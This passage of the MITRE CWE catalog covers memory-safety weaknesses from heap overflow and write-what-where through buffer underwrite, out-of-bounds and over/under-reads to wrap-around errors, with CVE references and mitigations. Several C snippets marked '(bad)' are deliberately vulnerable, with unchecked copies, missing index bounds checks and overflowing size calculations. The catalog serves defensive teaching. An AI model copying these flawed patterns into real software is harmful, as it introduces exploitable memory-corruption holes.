The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

Observed Examples

Reference	Description
CVE-2007-4268	Chain: integer signedness error (CWE-195) passes signed comparison, leading to heap overflow (CWE-122) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4268*
CVE-2009-2523	Chain: product does not handle when an input string is not NULL terminated (CWE-170), leading to buffer over-read (CWE-125) or heap-based buffer overflow (CWE-122). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2523*

Affected Resources

- Memory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	970	SFP Secondary Cluster: Faulty Buffer Access	888	1945
MemberOf	C	1161	SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR)	1154	1997

Notes

Relationship

Heap-based buffer overflows are usually just as dangerous as stack-based buffer overflows.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Heap overflow
Software Fault Patterns	SFP8		Faulty Buffer Access
CERT C Secure Coding	STR31-C	CWE More Specific	Guarantee that storage for strings has sufficient space for character data and the null terminator

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
92	Forced Integer Overflow

References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-123: Write-what-where Condition

Weakness ID : 123 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

Any condition where the attacker has the ability to write an arbitrary value to an arbitrary location, often as the result of a buffer overflow.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	787	Out-of-bounds Write	1463
PeerOf	V	415	Double Free	901
CanFollow	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	280
CanFollow	B	134	Use of Externally-Controlled Format String	334
CanFollow	B	364	Signal Handler Race Condition	802
CanFollow	V	416	Use After Free	904
CanFollow	V	479	Signal Handler Use of a Non-reentrant Function	1021
CanFollow	V	590	Free of Memory not on the Heap	1179

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1218	Memory Buffer Errors	2016

Weakness Ordinalities

Resultant :

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability Access Control	Modify Memory Execute Unauthorized Code or Commands Gain Privileges or Assume Identity DoS: Crash, Exit, or Restart Bypass Protection Mechanism *Clearly, write-what-where conditions can be used to write data to areas of memory outside the scope of a policy. Also, they almost invariably can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy. If the attacker can overwrite a pointer's worth of memory (usually 32 or 64 bits), they can redirect a function pointer to their own malicious code. Even when the attacker can only modify a single byte arbitrary code execution can be possible. Sometimes this is because the same problem can be exploited repeatedly to the same effect. Other times it is because the attacker can overwrite security-critical application-specific data -- such as a flag indicating whether the user is an administrator.*	
Integrity Availability	DoS: Crash, Exit, or Restart Modify Memory *Many memory accesses can lead to program termination, such as when writing to addresses that are invalid for the current process.*	
Access Control Other	Bypass Protection Mechanism Other *When the consequence is arbitrary code execution, this can often be used to subvert any other security service.*	

Potential Mitigations

Phase: Architecture and Design

Strategy = Language Selection

Use a language that provides appropriate memory abstractions.

Phase: Operation

Use OS-level preventative functionality integrated after the fact. Not a complete solution.

Demonstrative Examples

Example 1:

The classic example of a write-what-where condition occurs when the accounting information for memory allocations is overwritten in a particular fashion. Here is an example of potentially vulnerable code:

Example Language: C *(bad)*

```
#define BUFSIZE 256
int main(int argc, char **argv) {
    char *buf1 = (char *) malloc(BUFSIZE);
    char *buf2 = (char *) malloc(BUFSIZE);
```

```
    strcpy(buf1, argv[1]);
    free(buf2);
}
```

Vulnerability in this case is dependent on memory layout. The call to strcpy() can be used to write past the end of buf1, and, with a typical layout, can overwrite the accounting information that the system keeps for buf2 when it is allocated. Note that if the allocation header for buf2 can be overwritten, buf2 itself can be overwritten as well.

The allocation header will generally keep a linked list of memory "chunks". Particularly, there may be a "previous" chunk and a "next" chunk. Here, the previous chunk for buf2 will probably be buf1, and the next chunk may be null. When the free() occurs, most memory allocators will rewrite the linked list using data from buf2. Particularly, the "next" chunk for buf1 will be updated and the "previous" chunk for any subsequent chunk will be updated. The attacker can insert a memory address for the "next" chunk and a value to write into that memory address for the "previous" chunk.

This could be used to overwrite a function pointer that gets dereferenced later, replacing it with a memory address that the attacker has legitimate access to, where they have placed malicious code, resulting in arbitrary code execution.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1160	SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)	1154	1997
MemberOf	C	1161	SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR)	1154	1997

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Write-what-where condition
CERT C Secure Coding	ARR30-C	Imprecise	Do not form or use out-of-bounds pointers or array subscripts
CERT C Secure Coding	ARR38-C	Imprecise	Guarantee that library functions do not form invalid pointers
CERT C Secure Coding	STR31-C	Imprecise	Guarantee that storage for strings has sufficient space for character data and the null terminator
CERT C Secure Coding	STR32-C	Imprecise	Do not pass a non-null-terminated character sequence to a library function that expects a string

References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-124: Buffer Underwrite ('Buffer Underflow')

Weakness ID : 124 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software writes to a buffer using an index or pointer that references a memory location prior to the beginning of the buffer.

Extended Description

This typically occurs when a pointer or its index is decremented to a position before the buffer, when pointer arithmetic results in a position before the beginning of the valid memory location, or when a negative index is used.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	787	Out-of-bounds Write	1463
ChildOf	B	786	Access of Memory Location Before Start of Buffer	1461
CanFollow	B	839	Numeric Range Comparison Without Minimum Check	1554

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1218	Memory Buffer Errors	2016

Weakness Ordinalities

Primary :

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Alternate Terms

buffer underrun : Some prominent vendors and researchers use the term "buffer underrun". "Buffer underflow" is more commonly used, although both terms are also sometimes used to describe a buffer under-read (CWE-127).

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Integrity Availability	Modify Memory DoS: Crash, Exit, or Restart *Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash.*	
Integrity Confidentiality Availability Access Control Other	Execute Unauthorized Code or Commands Modify Memory Bypass Protection Mechanism Other *If the corrupted memory can be effectively controlled, it may be possible to execute arbitrary code. If the corrupted memory is data rather than instructions, the system will continue to function with improper changes, possibly in violation of an implicit or explicit policy. The consequences*	

Scope	Impact	Likelihood
	would only be limited by how the affected data is used, such as an adjacent memory location that is used to specify whether the user has special privileges.	
Access Control Other	Bypass Protection Mechanism Other *When the consequence is arbitrary code execution, this can often be used to subvert any other security service.*	

Potential Mitigations

Requirements specification: The choice could be made to use a language that is not susceptible to these issues.

Phase: Implementation

Sanity checks should be performed on all calculated values used as index or for pointer arithmetic.

Demonstrative Examples

Example 1:

In the following C/C++ example, a utility function is used to trim trailing whitespace from a character string. The function copies the input string to a local character string and uses a while statement to remove the trailing whitespace by moving backward through the string and overwriting whitespace with a NUL character.

Example Language: C *(bad)*

```
char* trimTrailingWhitespace(char *strMessage, int length) {
  char *retMessage;
  char *message = malloc(sizeof(char)*(length+1));
  // copy input string to a temporary string
  char message[length+1];
  int index;
  for (index = 0; index < length; index++) {
    message[index] = strMessage[index];
  }
  message[index] = '\0';
  // trim trailing whitespace
  int len = index-1;
  while (isspace(message[len])) {
    message[len] = '\0';
    len--;
  }
  // return string without trailing whitespace
  retMessage = message;
  return retMessage;
}
```

However, this function can cause a buffer underwrite if the input character string contains all whitespace. On some systems the while statement will move backwards past the beginning of a character string and will call the isspace() function on an address outside of the bounds of the local buffer.

Example 2:

The following is an example of code that may result in a buffer underwrite, if find() returns a negative value to indicate that ch is not found in srcBuf:

Example Language: C *(bad)*

```
int main() {
  ...
```

```
    strncpy(destBuf, &srcBuf[find(srcBuf, ch)], 1024);
    ...
}
```

If the index to srcBuf is somehow under user control, this is an arbitrary write-what-where condition.

Observed Examples

Reference	Description
CVE-2002-2227	Unchecked length of SSLv2 challenge value leads to buffer underflow. *http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2227*
CVE-2007-4580	Buffer underflow from a small size value with a large buffer (length parameter inconsistency, CWE-130) *http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4580*
CVE-2007-1584	Buffer underflow from an all-whitespace string, which causes a counter to be decremented before the buffer while looking for a non-whitespace character. *http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1584*
CVE-2007-0886	Buffer underflow resultant from encoded data that triggers an integer overflow. *http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0886*
CVE-2006-6171	Product sets an incorrect buffer size limit, leading to "off-by-two" buffer underflow. *http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6171*
CVE-2006-4024	Negative value is used in a memcpy() operation, leading to buffer underflow. *http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4024*
CVE-2004-2620	Buffer underflow due to mishandled special characters *http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2620*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	970	SFP Secondary Cluster: Faulty Buffer Access	888	1945

Notes

Relationship

This could be resultant from several errors, including a bad offset or an array index that decrements before the beginning of the buffer (see CWE-129).

Research Gap

Much attention has been paid to buffer overflows, but "underflows" sometimes exist in products that are relatively free of overflows, so it is likely that this variant has been under-studied.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			UNDER - Boundary beginning violation ('buffer underflow'?)
CLASP			Buffer underwrite
Software Fault Patterns	SFP8		Faulty Buffer Access

References

[REF-90]"Buffer UNDERFLOWS: What do you know about it?". Vuln-Dev Mailing List. 2004 January 0. < http://seclists.org/vuln-dev/2004/Jan/0022.html >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-125: Out-of-bounds Read

Weakness ID : 125 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software reads data past the end, or before the beginning, of the intended buffer.

Extended Description

Typically, this can allow attackers to read sensitive information from other memory locations or cause a crash. A crash can occur when the code reads a variable amount of data and assumes that a sentinel exists to stop the read operation, such as a NUL in a string. The expected sentinel might not be located in the out-of-bounds memory, causing excessive data to be read, leading to a segmentation fault or a buffer overflow. The software may modify an index or perform pointer arithmetic that references a memory location that is outside of the boundaries of the buffer. A subsequent read operation then produces undefined or unexpected results.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	271
ParentOf	V	126	Buffer Over-read	305
ParentOf	V	127	Buffer Under-read	308
CanFollow	B	822	Untrusted Pointer Dereference	1515
CanFollow	B	823	Use of Out-of-range Pointer Offset	1518
CanFollow	B	824	Access of Uninitialized Pointer	1520
CanFollow	B	825	Expired Pointer Dereference	1523

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	271

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1218	Memory Buffer Errors	2016

Weakness Ordinalities

Primary :

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory	

Scope	Impact	Likelihood
Confidentiality	Bypass Protection Mechanism *By reading out-of-bounds memory, an attacker might be able to get secret values, such as memory addresses, which can be bypass protection mechanisms such as ASLR in order to improve the reliability and likelihood of exploiting a separate weakness to achieve code execution instead of just denial of service.*	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of introducing an out-of-bounds read, ensure that you validate and ensure correct calculations for any length argument, buffer size calculation, or offset. Be espcially careful of relying on a sentinel (i.e. special character such as NUL) in an untrusted inputs.

Phase: Architecture and Design

Strategy = Language Selection

Use a language that provides appropriate memory abstractions.

Demonstrative Examples

Example 1:

In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method

Example Language: C *(bad)*

```
int getValueFromArray(int *array, int len, int index) {
    int value;
    // check that the array index is less than the maximum
    // length of the array
    if (index < len) {
        // get the value at the specified index of the array
        value = array[index];
    }
    // if array index is invalid then output error message
    // and return value indicating error
    else {
        printf("Value is: %d\n", array[index]);
        value = -1;
    }
    return value;
}
```

However, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below.

Example Language: C *(good)*

```
...
// check that the array index is within the correct
// range of values for the array
if (index >= 0 && index < len) {
...
```

Observed Examples

Reference	Description
CVE-2018-10887	Chain: unexpected sign extension (CWE-194) leads to integer overflow (CWE-190), causing an out-of-bounds read (CWE-125) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10887*
CVE-2009-2523	Chain: product does not handle when an input string is not NULL terminated (CWE-170), leading to buffer over-read (CWE-125) or heap-based buffer overflow (CWE-122). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2523*
CVE-2004-0112	out-of-bounds read due to improper length check *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0112*
CVE-2004-0183	packet with large number of specified elements cause out-of-bounds read. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0183*
CVE-2004-0221	packet with large number of specified elements cause out-of-bounds read. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0221*
CVE-2004-0184	out-of-bounds read, resultant from integer underflow *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0184*
CVE-2004-1940	large length value causes out-of-bounds read *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1940*
CVE-2004-0421	malformed image causes out-of-bounds read *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0421*
CVE-2014-0160	Chain: "Heartbleed" bug receives an inconsistent length parameter (CWE-130) enabling an out-of-bounds read (CWE-126), returning memory that could include private cryptographic keys and other sensitive data. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1157	SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)	1154	1995
MemberOf	C	1160	SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)	1154	1997
MemberOf	C	1161	SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR)	1154	1997
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2057

Notes

Research Gap

Under-studied and under-reported. Most issues are probably labeled as buffer overflows.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Out-of-bounds Read
CERT C Secure Coding	ARR30-C	Imprecise	Do not form or use out-of-bounds pointers or array subscripts
CERT C Secure Coding	ARR38-C	Imprecise	Guarantee that library functions do not form invalid pointers
CERT C Secure Coding	EXP39-C	Imprecise	Do not access a variable through a pointer of an incompatible type
CERT C Secure Coding	STR31-C	Imprecise	Guarantee that storage for strings has sufficient space for character data and the null terminator
CERT C Secure Coding	STR32-C	CWE More Abstract	Do not pass a non-null-terminated character sequence to a library function that expects a string

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
537	Infiltration of Hardware Development Environment
540	Overread Buffers

References

[REF-1034]Raoul Strackx, Yves Younan, Pieter Philippaerts, Frank Piessens, Sven Lachmund and Thomas Walter. "Breaking the memory secrecy assumption". 2009 March 1. ACM. < https://dl.acm.org/citation.cfm?doid=1519144.1519145 >.

[REF-1035]Fermin J. Serna. "The info leak era on software exploitation". 2012 July 5. < https://media.blackhat.com/bh-us-12/Briefings/Serna/BH_US_12_Serna_Leak_Era_Slides.pdf >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-126: Buffer Over-read

Weakness ID : 126 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software reads from a buffer using buffer access mechanisms such as indexes or pointers that reference memory locations after the targeted buffer.

Extended Description

This typically occurs when the pointer or its index is incremented to a position beyond the bounds of the buffer or when pointer arithmetic results in a position outside of the valid memory location to name a few. This may result in exposure of sensitive information or possibly a crash.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	125	Out-of-bounds Read	302
ChildOf	B	788	Access of Memory Location After End of Buffer	1470
CanFollow	B	170	Improper Null Termination	395

Weakness Ordinalities

Primary :

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory	
Confidentiality	Bypass Protection Mechanism *By reading out-of-bounds memory, an attacker might be able to get secret values, such as memory addresses, which can be bypass protection mechanisms such as ASLR in order to improve the reliability and likelihood of exploiting a separate weakness to achieve code execution instead of just denial of service.*	

Demonstrative Examples

Example 1:

In the following C/C++ example the method processMessageFromSocket() will get a message from a socket, placed into a buffer, and will parse the contents of the buffer into a structure that contains the message length and the message body. A for loop is used to copy the message body into a local character string which will be passed to another method for processing.

Example Language: C *(bad)*

```
int processMessageFromSocket(int socket) {
    int success;
    char buffer[BUFFER_SIZE];
    char message[MESSAGE_SIZE];
    // get message from socket and store into buffer
    //Ignoring possibliity that buffer > BUFFER_SIZE
    if (getMessage(socket, buffer, BUFFER_SIZE) > 0) {
        // place contents of the buffer into message structure
        ExMessage *msg = recastBuffer(buffer);
        // copy message body into string for processing
        int index;
        for (index = 0; index < msg->msgLength; index++) {
            message[index] = msg->msgBody[index];
        }
        message[index] = '\0';
        // process message
        success = processMessage(message);
    }
    return success;
}
```

However, the message length variable from the structure is used as the condition for ending the for loop without validating that the message length variable accurately reflects the length of the message body (CWE-606). This can result in a buffer over-read (CWE-125) by reading from

memory beyond the bounds of the buffer if the message length variable indicates a length that is longer than the size of a message body (CWE-130).

Example 2:

The following C/C++ example demonstrates a buffer over-read due to a missing NULL terminator. The main method of a pattern matching utility that looks for a specific pattern within a specific file uses the string strncopy() method to copy the command line user input file name and pattern to the Filename and Pattern character arrays respectively.

Example Language: C *(bad)*

```
int main(int argc, char **argv)
{
    char Filename[256];
    char Pattern[32];
    /* Validate number of parameters and ensure valid content */
    ...
    /* copy filename parameter to variable, may cause off-by-one overflow */
    strncpy(Filename, argv[1], sizeof(Filename));
    /* copy pattern parameter to variable, may cause off-by-one overflow */
    strncpy(Pattern, argv[2], sizeof(Pattern));
    printf("Searching file: %s for the pattern: %s\n", Filename, Pattern);
    Scan_File(Filename, Pattern);
}
```

However, the code do not take into account that strncpy() will not add a NULL terminator when the source buffer is equal in length of longer than that provide size attribute. Therefore if a user enters a filename or pattern that are the same size as (or larger than) their respective character arrays, a NULL terminator will not be added (CWE-170) which leads to the printf() read beyond the expected end of the Filename and Pattern buffers.

To fix this problem, be sure to subtract 1 from the sizeof() call to allow room for the null byte to be added.

Example Language: C *(good)*

```
/* copy filename parameter to variable, no off-by-one overflow */
strncpy(Filename, argv[2], sizeof(Filename)-1);
Filename[255]='\0';
/* copy pattern parameter to variable, no off-by-one overflow */
strncpy(Pattern, argv[3], sizeof(Pattern)-1);
Pattern[31]='\0';
```

Observed Examples

Reference	Description
CVE-2014-0160	Chain: "Heartbleed" bug receives an inconsistent length parameter (CWE-130) enabling an out-of-bounds read (CWE-126), returning memory that could include private cryptographic keys and other sensitive data. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160*
CVE-2009-2523	Chain: product does not handle when an input string is not NULL terminated, leading to buffer over-read or heap-based buffer overflow. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2523*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	970	SFP Secondary Cluster: Faulty Buffer Access	888	1945

Notes

Relationship

These problems may be resultant from missing sentinel values (CWE-463) or trusting a user-influenced input length variable.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Buffer over-read
Software Fault Patterns	SFP8		Faulty Buffer Access

References

[REF-1034]Raoul Strackx, Yves Younan, Pieter Philippaerts, Frank Piessens, Sven Lachmund and Thomas Walter. "Breaking the memory secrecy assumption". 2009 March 1. ACM. < https://dl.acm.org/citation.cfm?doid=1519144.1519145 >.

[REF-1035]Fermin J. Serna. "The info leak era on software exploitation". 2012 July 5. < https://media.blackhat.com/bh-us-12/Briefings/Serna/BH_US_12_Serna_Leak_Era_Slides.pdf >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-127: Buffer Under-read

Weakness ID : 127 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software reads from a buffer using buffer access mechanisms such as indexes or pointers that reference memory locations prior to the targeted buffer.

Extended Description

This typically occurs when the pointer or its index is decremented to a position before the buffer, when pointer arithmetic results in a position before the beginning of the valid memory location, or when a negative index is used. This may result in exposure of sensitive information or possibly a crash.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	125	Out-of-bounds Read	302
ChildOf	B	786	Access of Memory Location Before Start of Buffer	1461

Weakness Ordinalities

Primary :

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory	
Confidentiality	Bypass Protection Mechanism *By reading out-of-bounds memory, an attacker might be able to get secret values, such as memory addresses, which can be bypass protection mechanisms such as ASLR in order to improve the reliability and likelihood of exploiting a separate weakness to achieve code execution instead of just denial of service.*	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	970	SFP Secondary Cluster: Faulty Buffer Access	888	1945

Notes

Research Gap

Under-studied.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Buffer under-read
Software Fault Patterns	SFP8		Faulty Buffer Access

References

[REF-1034]Raoul Strackx, Yves Younan, Pieter Philippaerts, Frank Piessens, Sven Lachmund and Thomas Walter. "Breaking the memory secrecy assumption". 2009 March 1. ACM. < https://dl.acm.org/citation.cfm?doid=1519144.1519145 >.

[REF-1035]Fermin J. Serna. "The info leak era on software exploitation". 2012 July 5. < https://media.blackhat.com/bh-us-12/Briefings/Serna/BH_US_12_Serna_Leak_Era_Slides.pdf >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-128: Wrap-around Error

Weakness ID : 128 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

Wrap around errors occur whenever a value is incremented past the maximum value for its type and therefore "wraps around" to a very small, negative, or undefined value.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	682	Incorrect Calculation	1326
PeerOf	B	190	Integer Overflow or Wraparound	437
CanPrecede	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	271

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	189	Numeric Errors	1852

Weakness Ordinalities

Primary :

Applicable Platforms

Language : C *(Prevalence = Often)*

Language : C++ *(Prevalence = Often)*

Background Details

Due to how addition is performed by computers, if a primitive is incremented past the maximum value possible for its storage space, the system will not recognize this, and therefore increment each bit as if it still had extra space. Because of how negative numbers are represented in binary, primitives interpreted as signed may "wrap" to very large negative values.

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Instability *This weakness will generally lead to undefined behavior and therefore crashes. In the case of overflows involving loop index variables, the likelihood of infinite loops is also high.*	
Integrity	Modify Memory *If the value in question is important to data (as opposed to flow), simple data corruption has occurred. Also, if the wrap around results in other conditions such as buffer overflows, further memory corruption may occur.*	
Confidentiality Availability Access Control	Execute Unauthorized Code or Commands Bypass Protection Mechanism *This weakness can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.*	

Potential Mitigations

Requirements specification: The choice could be made to use a language that is not susceptible to these issues.

Phase: Architecture and Design

Provide clear upper and lower bounds on the scale of any protocols designed.

Phase: Implementation

Place sanity checks on all incremented variables to ensure that they remain within reasonable bounds.

Demonstrative Examples

Example 1:

The following image processing code allocates a table for images.

Example Language: C *(bad)*

```
img_t table_ptr; /*struct containing img data, 10kB each*/
int num_imgs;
...
num_imgs = get_num_imgs();
table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);
...
```

This code intends to allocate a table of size num_imgs, however as num_imgs grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were num_imgs long, it may result in many types of out-of-bounds problems (CWE-119).

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	734	1886
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	1917
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	1958

Notes

Relationship

The relationship between overflow and wrap-around needs to be examined more closely, since several entries (including CWE-190) are closely related.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Wrap-around error
